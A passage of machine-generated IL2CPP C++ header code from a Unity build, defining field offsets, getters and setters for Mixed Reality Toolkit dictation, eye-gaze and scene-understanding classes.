set_deviceName_29(String_t* value) { ___deviceName_29 = value; Il2CppCodeGenWriteBarrier((void**)(&___deviceName_29), (void*)value); } inline static int32_t get_offset_of_samplingRate_30() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___samplingRate_30)); } inline int32_t get_samplingRate_30() const { return ___samplingRate_30; } inline int32_t* get_address_of_samplingRate_30() { return &___samplingRate_30; } inline void set_samplingRate_30(int32_t value) { ___samplingRate_30 = value; } inline static int32_t get_offset_of_dictationResult_31() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___dictationResult_31)); } inline String_t* get_dictationResult_31() const { return ___dictationResult_31; } inline String_t** get_address_of_dictationResult_31() { return &___dictationResult_31; } inline void set_dictationResult_31(String_t* value) { ___dictationResult_31 = value; Il2CppCodeGenWriteBarrier((void**)(&___dictationResult_31), (void*)value); } inline static int32_t get_offset_of_dictationAudioClip_32() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___dictationAudioClip_32)); } inline AudioClip_t16D2E573E7CC1C5118D8EE0F0692D46866A1C0EE * get_dictationAudioClip_32() const { return ___dictationAudioClip_32; } inline AudioClip_t16D2E573E7CC1C5118D8EE0F0692D46866A1C0EE ** get_address_of_dictationAudioClip_32() { return &___dictationAudioClip_32; } inline void set_dictationAudioClip_32(AudioClip_t16D2E573E7CC1C5118D8EE0F0692D46866A1C0EE * value) { ___dictationAudioClip_32 = value; Il2CppCodeGenWriteBarrier((void**)(&___dictationAudioClip_32), (void*)value); } inline static int32_t get_offset_of_waitUntilPhraseRecognitionSystemHasStarted_34() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___waitUntilPhraseRecognitionSystemHasStarted_34)); } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * get_waitUntilPhraseRecognitionSystemHasStarted_34() const { return ___waitUntilPhraseRecognitionSystemHasStarted_34; } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 ** get_address_of_waitUntilPhraseRecognitionSystemHasStarted_34() { return &___waitUntilPhraseRecognitionSystemHasStarted_34; } inline void set_waitUntilPhraseRecognitionSystemHasStarted_34(WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * value) { ___waitUntilPhraseRecognitionSystemHasStarted_34 = value; Il2CppCodeGenWriteBarrier((void**)(&___waitUntilPhraseRecognitionSystemHasStarted_34), (void*)value); } inline static int32_t get_offset_of_waitUntilPhraseRecognitionSystemHasStopped_35() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___waitUntilPhraseRecognitionSystemHasStopped_35)); } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * get_waitUntilPhraseRecognitionSystemHasStopped_35() const { return ___waitUntilPhraseRecognitionSystemHasStopped_35; } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 ** get_address_of_waitUntilPhraseRecognitionSystemHasStopped_35() { return &___waitUntilPhraseRecognitionSystemHasStopped_35; } inline void set_waitUntilPhraseRecognitionSystemHasStopped_35(WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * value) { ___waitUntilPhraseRecognitionSystemHasStopped_35 = value; Il2CppCodeGenWriteBarrier((void**)(&___waitUntilPhraseRecognitionSystemHasStopped_35), (void*)value); } inline static int32_t get_offset_of_waitUntilDictationRecognizerHasStarted_36() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___waitUntilDictationRecognizerHasStarted_36)); } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * get_waitUntilDictationRecognizerHasStarted_36() const { return ___waitUntilDictationRecognizerHasStarted_36; } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 ** get_address_of_waitUntilDictationRecognizerHasStarted_36() { return &___waitUntilDictationRecognizerHasStarted_36; } inline void set_waitUntilDictationRecognizerHasStarted_36(WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * value) { ___waitUntilDictationRecognizerHasStarted_36 = value; Il2CppCodeGenWriteBarrier((void**)(&___waitUntilDictationRecognizerHasStarted_36), (void*)value); } inline static int32_t get_offset_of_waitUntilDictationRecognizerHasStopped_37() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___waitUntilDictationRecognizerHasStopped_37)); } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * get_waitUntilDictationRecognizerHasStopped_37() const { return ___waitUntilDictationRecognizerHasStopped_37; } inline WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 ** get_address_of_waitUntilDictationRecognizerHasStopped_37() { return &___waitUntilDictationRecognizerHasStopped_37; } inline void set_waitUntilDictationRecognizerHasStopped_37(WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * value) { ___waitUntilDictationRecognizerHasStopped_37 = value; Il2CppCodeGenWriteBarrier((void**)(&___waitUntilDictationRecognizerHasStopped_37), (void*)value); } }; struct WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::StartRecordingAsyncPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___StartRecordingAsyncPerfMarker_22; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::StopRecordingAsyncPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___StopRecordingAsyncPerfMarker_23; // UnityEngine.Windows.Speech.DictationRecognizer Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::dictationRecognizer DictationRecognizer_t1D780630D3CBF85CB9455233AB6BD7933544AA4B * ___dictationRecognizer_33; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::UpdatePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdatePerfMarker_38; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::DictationHypothesisPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___DictationHypothesisPerfMarker_39; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::DictationResultPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___DictationResultPerfMarker_40; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::DictationCompletePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___DictationCompletePerfMarker_41; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::DictationErrorPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___DictationErrorPerfMarker_42; public: inline static int32_t get_offset_of_StartRecordingAsyncPerfMarker_22() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___StartRecordingAsyncPerfMarker_22)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_StartRecordingAsyncPerfMarker_22() const { return ___StartRecordingAsyncPerfMarker_22; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_StartRecordingAsyncPerfMarker_22() { return &___StartRecordingAsyncPerfMarker_22; } inline void set_StartRecordingAsyncPerfMarker_22(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___StartRecordingAsyncPerfMarker_22 = value; } inline static int32_t get_offset_of_StopRecordingAsyncPerfMarker_23() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___StopRecordingAsyncPerfMarker_23)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_StopRecordingAsyncPerfMarker_23() const { return ___StopRecordingAsyncPerfMarker_23; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_StopRecordingAsyncPerfMarker_23() { return &___StopRecordingAsyncPerfMarker_23; } inline void set_StopRecordingAsyncPerfMarker_23(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___StopRecordingAsyncPerfMarker_23 = value; } inline static int32_t get_offset_of_dictationRecognizer_33() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___dictationRecognizer_33)); } inline DictationRecognizer_t1D780630D3CBF85CB9455233AB6BD7933544AA4B * get_dictationRecognizer_33() const { return ___dictationRecognizer_33; } inline DictationRecognizer_t1D780630D3CBF85CB9455233AB6BD7933544AA4B ** get_address_of_dictationRecognizer_33() { return &___dictationRecognizer_33; } inline void set_dictationRecognizer_33(DictationRecognizer_t1D780630D3CBF85CB9455233AB6BD7933544AA4B * value) { ___dictationRecognizer_33 = value; Il2CppCodeGenWriteBarrier((void**)(&___dictationRecognizer_33), (void*)value); } inline static int32_t get_offset_of_UpdatePerfMarker_38() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___UpdatePerfMarker_38)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdatePerfMarker_38() const { return ___UpdatePerfMarker_38; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdatePerfMarker_38() { return &___UpdatePerfMarker_38; } inline void set_UpdatePerfMarker_38(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdatePerfMarker_38 = value; } inline static int32_t get_offset_of_DictationHypothesisPerfMarker_39() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___DictationHypothesisPerfMarker_39)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_DictationHypothesisPerfMarker_39() const { return ___DictationHypothesisPerfMarker_39; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_DictationHypothesisPerfMarker_39() { return &___DictationHypothesisPerfMarker_39; } inline void set_DictationHypothesisPerfMarker_39(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___DictationHypothesisPerfMarker_39 = value; } inline static int32_t get_offset_of_DictationResultPerfMarker_40() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___DictationResultPerfMarker_40)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_DictationResultPerfMarker_40() const { return ___DictationResultPerfMarker_40; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_DictationResultPerfMarker_40() { return &___DictationResultPerfMarker_40; } inline void set_DictationResultPerfMarker_40(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___DictationResultPerfMarker_40 = value; } inline static int32_t get_offset_of_DictationCompletePerfMarker_41() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___DictationCompletePerfMarker_41)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_DictationCompletePerfMarker_41() const { return ___DictationCompletePerfMarker_41; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_DictationCompletePerfMarker_41() { return &___DictationCompletePerfMarker_41; } inline void set_DictationCompletePerfMarker_41(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___DictationCompletePerfMarker_41 = value; } inline static int32_t get_offset_of_DictationErrorPerfMarker_42() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_StaticFields, ___DictationErrorPerfMarker_42)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_DictationErrorPerfMarker_42() const { return ___DictationErrorPerfMarker_42; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_DictationErrorPerfMarker_42() { return &___DictationErrorPerfMarker_42; } inline void set_DictationErrorPerfMarker_42(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___DictationErrorPerfMarker_42 = value; } }; // Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider struct WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68 : public BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6 { public: // System.Boolean Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::k__BackingField bool ___U3CSmoothEyeTrackingU3Ek__BackingField_21; // Microsoft.MixedReality.Toolkit.Utilities.EyeGazeSmoother Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::gazeSmoother EyeGazeSmoother_tB8BD35D2746136A235BCC6618C57B8B224B5FA48 * ___gazeSmoother_22; // System.Action Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::OnSaccade Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * ___OnSaccade_23; // System.Action Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::OnSaccadeX Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * ___OnSaccadeX_24; // System.Action Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::OnSaccadeY Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * ___OnSaccadeY_25; // UnityEngine.XR.InputDevice Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::centerEye InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E ___centerEye_26; public: inline static int32_t get_offset_of_U3CSmoothEyeTrackingU3Ek__BackingField_21() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68, ___U3CSmoothEyeTrackingU3Ek__BackingField_21)); } inline bool get_U3CSmoothEyeTrackingU3Ek__BackingField_21() const { return ___U3CSmoothEyeTrackingU3Ek__BackingField_21; } inline bool* get_address_of_U3CSmoothEyeTrackingU3Ek__BackingField_21() { return &___U3CSmoothEyeTrackingU3Ek__BackingField_21; } inline void set_U3CSmoothEyeTrackingU3Ek__BackingField_21(bool value) { ___U3CSmoothEyeTrackingU3Ek__BackingField_21 = value; } inline static int32_t get_offset_of_gazeSmoother_22() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68, ___gazeSmoother_22)); } inline EyeGazeSmoother_tB8BD35D2746136A235BCC6618C57B8B224B5FA48 * get_gazeSmoother_22() const { return ___gazeSmoother_22; } inline EyeGazeSmoother_tB8BD35D2746136A235BCC6618C57B8B224B5FA48 ** get_address_of_gazeSmoother_22() { return &___gazeSmoother_22; } inline void set_gazeSmoother_22(EyeGazeSmoother_tB8BD35D2746136A235BCC6618C57B8B224B5FA48 * value) { ___gazeSmoother_22 = value; Il2CppCodeGenWriteBarrier((void**)(&___gazeSmoother_22), (void*)value); } inline static int32_t get_offset_of_OnSaccade_23() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68, ___OnSaccade_23)); } inline Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * get_OnSaccade_23() const { return ___OnSaccade_23; } inline Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 ** get_address_of_OnSaccade_23() { return &___OnSaccade_23; } inline void set_OnSaccade_23(Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * value) { ___OnSaccade_23 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnSaccade_23), (void*)value); } inline static int32_t get_offset_of_OnSaccadeX_24() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68, ___OnSaccadeX_24)); } inline Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * get_OnSaccadeX_24() const { return ___OnSaccadeX_24; } inline Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 ** get_address_of_OnSaccadeX_24() { return &___OnSaccadeX_24; } inline void set_OnSaccadeX_24(Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * value) { ___OnSaccadeX_24 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnSaccadeX_24), (void*)value); } inline static int32_t get_offset_of_OnSaccadeY_25() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68, ___OnSaccadeY_25)); } inline Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * get_OnSaccadeY_25() const { return ___OnSaccadeY_25; } inline Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 ** get_address_of_OnSaccadeY_25() { return &___OnSaccadeY_25; } inline void set_OnSaccadeY_25(Action_tAF41423D285AE0862865348CF6CE51CD085ABBA6 * value) { ___OnSaccadeY_25 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnSaccadeY_25), (void*)value); } inline static int32_t get_offset_of_centerEye_26() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68, ___centerEye_26)); } inline InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E get_centerEye_26() const { return ___centerEye_26; } inline InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E * get_address_of_centerEye_26() { return &___centerEye_26; } inline void set_centerEye_26(InputDevice_t69B790C68145C769BA3819DE33AA94155C77207E value) { ___centerEye_26 = value; } }; struct WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityEyeGazeDataProvider::UpdatePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___UpdatePerfMarker_27; public: inline static int32_t get_offset_of_UpdatePerfMarker_27() { return static_cast(offsetof(WindowsMixedRealityEyeGazeDataProvider_t603FBA607FA40DC983D60FE60E385CA70237FB68_StaticFields, ___UpdatePerfMarker_27)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdatePerfMarker_27() const { return ___UpdatePerfMarker_27; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdatePerfMarker_27() { return &___UpdatePerfMarker_27; } inline void set_UpdatePerfMarker_27(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdatePerfMarker_27 = value; } }; // Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver struct WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340 : public BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94 { public: // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessSurfaceTypes Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField int32_t ___U3CSurfaceTypesU3Ek__BackingField_26; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CShouldLoadFromFileU3Ek__BackingField_27; // System.Int32 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField int32_t ___U3CInstantiationBatchRateU3Ek__BackingField_28; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CInferRegionsU3Ek__BackingField_29; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CRequestMeshDataU3Ek__BackingField_30; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CRequestPlaneDataU3Ek__BackingField_31; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CRequestOcclusionMaskU3Ek__BackingField_32; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CUsePersistentObjectsU3Ek__BackingField_33; // System.Single Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField float ___U3CQueryRadiusU3Ek__BackingField_34; // UnityEngine.Vector2Int Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___U3COcclusionMaskResolutionU3Ek__BackingField_35; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CCreateGameObjectsU3Ek__BackingField_36; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CAutoUpdateU3Ek__BackingField_37; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3COrientSceneU3Ek__BackingField_38; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshLevelOfDetail Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField int32_t ___U3CWorldMeshLevelOfDetailU3Ek__BackingField_39; // System.Single Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField float ___U3CFirstAutoUpdateDelayU3Ek__BackingField_40; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField bool ___U3CUpdateOnceInitializedU3Ek__BackingField_41; // UnityEngine.Material Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField Material_t8927C00353A72755313F046D0CE85178AE8218EE * ___U3CDefaultMaterialU3Ek__BackingField_42; // UnityEngine.Material Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::k__BackingField Material_t8927C00353A72755313F046D0CE85178AE8218EE * ___U3CDefaultWorldMeshMaterialU3Ek__BackingField_43; // System.Byte[] Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::sceneBytes ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* ___sceneBytes_44; // UnityEngine.TextAsset Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::serializedScene TextAsset_t1969F5FD1F628C7C0A70D9605C0D251B4F547234 * ___serializedScene_45; // System.Threading.Tasks.Task Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::task Task_t804B25CFE3FC13AAEE16C8FA3BF52513F2A8DB60 * ___task_46; // System.Collections.Generic.Dictionary`2 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::sceneObjects Dictionary_2_t90E0DC17995431E62A89609E53E52FDDD331CC34 * ___sceneObjects_47; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::observedObjectParent GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___observedObjectParent_48; // System.Timers.Timer Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::firstUpdateTimer Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE * ___firstUpdateTimer_49; // System.Timers.Timer Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::updateTimer Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE * ___updateTimer_50; // System.Collections.Generic.Dictionary`2> Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::cachedSceneQuads Dictionary_2_t877A02A3DCED84372E8F6CA424353CD00CD1EF45 * ___cachedSceneQuads_51; // System.Collections.Concurrent.ConcurrentQueue`1 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::instantiationQueue ConcurrentQueue_1_tA6D925C7D9B5461E41C08314EA9AE5C2CE493CB7 * ___instantiationQueue_52; // UnityEngine.Mesh Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::normalizedQuadMesh Mesh_t2F5992DBA650D5862B43D3823ACD997132A57DA6 * ___normalizedQuadMesh_53; // System.String Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::surfaceTypeName String_t* ___surfaceTypeName_54; // System.Threading.CancellationTokenSource Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::cancelTokenSource CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * ___cancelTokenSource_55; // System.Numerics.Matrix4x4 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::correctOrientation Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 ___correctOrientation_56; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::convertedObjects List_1_tAE037B58DD2A07B4BE1C2953C5736358AD7C3BAD * ___convertedObjects_57; // System.Collections.Generic.Dictionary`2 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::IdToGuidLookup Dictionary_2_t6129019525B6065C5CB178570DE87B8155840619 * ___IdToGuidLookup_58; // Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver/ObserverState Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::observerState int32_t ___observerState_59; // System.Threading.CancellationToken Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::cancelToken CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD ___cancelToken_60; // System.Guid Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::sceneOriginId Guid_t ___sceneOriginId_61; // System.Numerics.Matrix4x4 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::sceneToWorldTransformMatrix Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 ___sceneToWorldTransformMatrix_62; // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::filteredSelectedSurfaceTypesResult List_1_t884C040642DCB159A123549C8F62D3860DCC52FF * ___filteredSelectedSurfaceTypesResult_63; // UnityEngine.Texture Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::defaultTexture Texture_t9FE0218A1EEDF266E8C85879FE123265CACC95AE * ___defaultTexture_64; // System.Boolean Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::isOpenXRLoaderActive bool ___isOpenXRLoaderActive_65; // Microsoft.MixedReality.Toolkit.SpatialAwareness.MixedRealitySpatialAwarenessEventData`1 Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::sceneEventData MixedRealitySpatialAwarenessEventData_1_tFFFE9C796D7933A1A6252E5F34D692980EC69DD3 * ___sceneEventData_66; public: inline static int32_t get_offset_of_U3CSurfaceTypesU3Ek__BackingField_26() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CSurfaceTypesU3Ek__BackingField_26)); } inline int32_t get_U3CSurfaceTypesU3Ek__BackingField_26() const { return 